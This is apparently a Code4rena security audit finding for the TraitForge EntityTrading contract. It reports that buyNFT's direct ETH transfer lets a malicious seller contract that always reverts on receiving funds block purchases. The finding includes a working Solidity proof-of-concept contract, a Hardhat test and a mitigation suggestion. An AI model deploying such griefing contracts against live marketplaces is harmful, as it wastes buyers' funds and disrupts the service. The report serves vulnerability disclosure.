Lines of code

https://github.com/code-423n4/2024-07-traitforge/blob/main/contracts/EntityTrading/EntityTrading.sol#L77

Vulnerability details

Description

There is a weak spot in EntityTrading::buyNFT which allow the NFT seller to grief the buyer which seems to warrant Medium.

The root cause is due to the fact that buyNFT is sending the funds directly to the seller (the NFT price) when selling which can be exploited by a malicious player as the seller could be a contract which always revert (or it could be dynamically adjusted depending on who is forging by the attacker) upon receiving funds.

There would be no benefits really for the attacker beside annoying the players and the game owner as the players impacted will end up wasting gas and they might think there is actually a bug in the game instead of a malicious seller making the game owner looking bad. A competitor or a hater of the game could do this with multiple NFT minted at low prices, poluting the EntityTrading contract, and the owner will not be able todo much to mitigate this.

Impact

NFT seller could grief any buyer which try to buy their NFT by forcing the transaction to revert.

PoC

Add the following changes EntityTrading.test.ts and run yarn test The test will pass prooving the impact validity.

Create this malicious seller contract inside EntityTrading folder and call it MaliciousSeller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./IEntityTrading.sol";
import "../TraitForgeNft/ITraitForgeNft.sol";

contract MaliciousSeller {
    receive() external payable {
        revert("Always revert");
    }

    function listNFT(
        uint256 tokenId,
        uint256 price,
        address entityTradingAddress,
        address nftAddress
    ) external {
        ITraitForgeNft(nftAddress).approve(entityTradingAddress, tokenId);
        IEntityTrading(entityTradingAddress).listNFTForSale(tokenId, price);
    }
}

import { ethers } from 'hardhat';
-import { EntityTrading, TestERC721 } from '../typechain-types';
+import { EntityTrading, TestERC721, MaliciousSeller } from '../typechain-types';
import { HardhatEthersSigner } from '@nomicfoundation/hardhat-ethers/signers';
import { expect } from 'chai';

  it.only('allow seller to grief buyer by reverting when receiving funds', async function () {
    // 1) Deploy a malicious seller contract that will revert when receiving ETH
    let maliciousSeller: MaliciousSeller;
    const MaliciousSeller = await ethers.getContractFactory('MaliciousSeller');
    maliciousSeller = (await MaliciousSeller.deploy()) as MaliciousSeller;

    // 2) Transfer the NFT (could be Merger or Forger) to the malicious contract.
    await nft.transferFrom(owner.address, await maliciousSeller.getAddress(), TOKEN_ID);

    // 3) List the NFT
    await maliciousSeller.listNFT(TOKEN_ID, LISTING_PRICE, await entityTrading.getAddress(), await nft.getAddress());

    const listingId = await entityTrading.listedTokenIds(TOKEN_ID);
    const listing = await entityTrading.listings(listingId);

    await expect(
      entityTrading.connect(buyer).buyNFT(TOKEN_ID, { value: LISTING_PRICE })
    ).to.be.revertedWith('Failed to send to seller');

  });

Output

  EntityTrading
0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
    ✔ allow seller to grief buyer by reverting when receiving funds (125ms)

  1 passing (5s)

Tools Used

Manual review, Hardhat test

Recommended Mitigation Steps

Consider implementing a pull payment pattern instead of pushing payments directly to the seller. This would allow the selling process to complete successfully, with the seller's payment held in the contract for later withdrawal.

Assessed type

ETH-Transfer

code-423n4 / 2024-07-traitforge-findings

NFT seller could `grief buyer` when they call `buyNFT` by making the call revert when receiving funds #1056